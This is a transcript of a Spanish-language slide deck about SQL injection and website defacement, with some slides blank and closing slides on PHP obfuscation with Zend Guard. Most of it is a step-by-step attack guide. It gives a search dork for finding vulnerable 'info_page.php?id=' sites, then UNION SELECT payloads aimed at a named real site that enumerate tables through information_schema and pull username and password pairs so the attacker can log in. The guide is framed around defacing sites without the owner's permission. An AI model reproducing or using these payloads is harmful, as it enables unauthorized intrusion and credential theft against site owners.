sql injection

18
SQL Injection

Upload: minoxx

Post on 04-Jul-2015

564 views

Category:

Education


3 download

DESCRIPTION

qwerrwqrqw

TRANSCRIPT

Page 1: Sql Injection

SQL

Injection

Page 2: Sql Injection

¿Que es SQL Injection?

Inyección SQL es una vulnerabilidad informática en elnivel de la validación de las entradas a la base dedatos de una aplicación. El origen es el filtradoincorrecto de las variables utilizadas en las partes delprograma con código SQL. Es, de hecho, un error deuna clase más general de vulnerabilidades que puedeocurrir en cualquier lenguaje de programación o descript que esté incrustado dentro de otro.

Una inyección SQL sucede cuando se inserta o"inyecta" un código SQL "invasor" dentro de otrocódigo SQL para alterar su funcionamiento normal, yhacer que se ejecute maliciosamente el código"invasor" en la base de datos.

Page 3: Sql Injection

¿Que es Deface?

El Deface / Defacing / Defacement esla modificación de una página websin autorización del dueño de la

misma.

La mayoria de las veces lograndefacear un sitio consiguiendoacceso mediante algunavulnerabilidad que el programadorhaya dejado en el mismo.También por passwordsdebiles, problemas en el FTP, etc.

Page 4: Sql Injection

Pasos:

Buscando website vulnerable.

Bueno, ahora vamos a buscar una

website vulnerable, para saber si es

vulnerable a sql injection, en la url

tiene que haber algo como;

?id=NUMERO o algo

parecido, siempre tiene que haber un

"="

Para eso buscamos en el explorador:

allinurl: "info_page.php?id=*“ para

encontrar las websites que tiene esa

Page 5: Sql Injection
Page 6: Sql Injection
Page 7: Sql Injection
Page 8: Sql Injection
Page 9: Sql Injection

se agrega

"+from+information_schema.tables--" y se

sustituye un valor de los arrojados por

table_name

Page 10: Sql Injection

se quita el - - y se agrega "+limit+1,1--

"

Page 11: Sql Injection

jugando con los numeros

“2,1”, ”3,1”,etc para obtener nombres

de tablas

Page 12: Sql Injection

Hasta que encontramos la tabla que contiene el “nombre de usuario”!!

Page 13: Sql Injection

Ahora ya tenemos la tabla:

USER_PRIVILEGES lo que

haremos ahora es lo siguiente:

Borramos

information_schema.tables+li

mit+15,1-- y agregamos lo sig:

http://www.mytimeinc.org/info_page.php?id=-

1+union+all+select+0,”name”,2,3,4+from+USER_PRIVIL

EGES AVISO: No siempre es nombre, aveces si no funciona

tienes que

poner, admin,login,root,adm,administrador,etc.

Page 14: Sql Injection
Page 15: Sql Injection

Ahora como ya sabes el

username, borramos lo que hay

entre el 0 y el 2. Y ponemos

para obtener la clave:

concat(nombre,0x3a3a,pass).http://www.mytimeinc.org/info_page.php?id=-

1+union+all+select+concat(nombre,0x3a3a,pass),”name

”, concat(nombre,0x3a3a,pass),3,4+from+USER_PRIVIL

EGES

Si no te funciona, cambia donde pone pass

[concat(nombre,0x3a3a,pass) por clave,password,contraseña.

Page 16: Sql Injection

OBTENIENDO LA CLAVE!! YA

PODEMOS LOGEARNOS

Page 17: Sql Injection

OFUSCAR CODIGO EN

PHP: Cuando el desarrollador sustenta su

economía a través de la venta de susproductos -diseñados por él o por suempresa-,

el que el cliente disponga del código ypueda ofrecerlo a terceros puedeocasionar, entre otras, un aumento delprecio final del producto, para evitarlos denominados daños colaterales.

Page 18: Sql Injection

¿Cómo evitar esto?

La respuesta está en ofuscar elcódigo PHP. A través de laofuscación del código PHP, elcliente podrá disponer siempre de laaplicación a un precio inferior y eldesarrollador estará libre depesadillas.

En el mercado existen variasalternativas para ofuscar códigoPHP. Una de ellas, y la que más meconvence, viene de la mano deZEND, ZEND GUARD.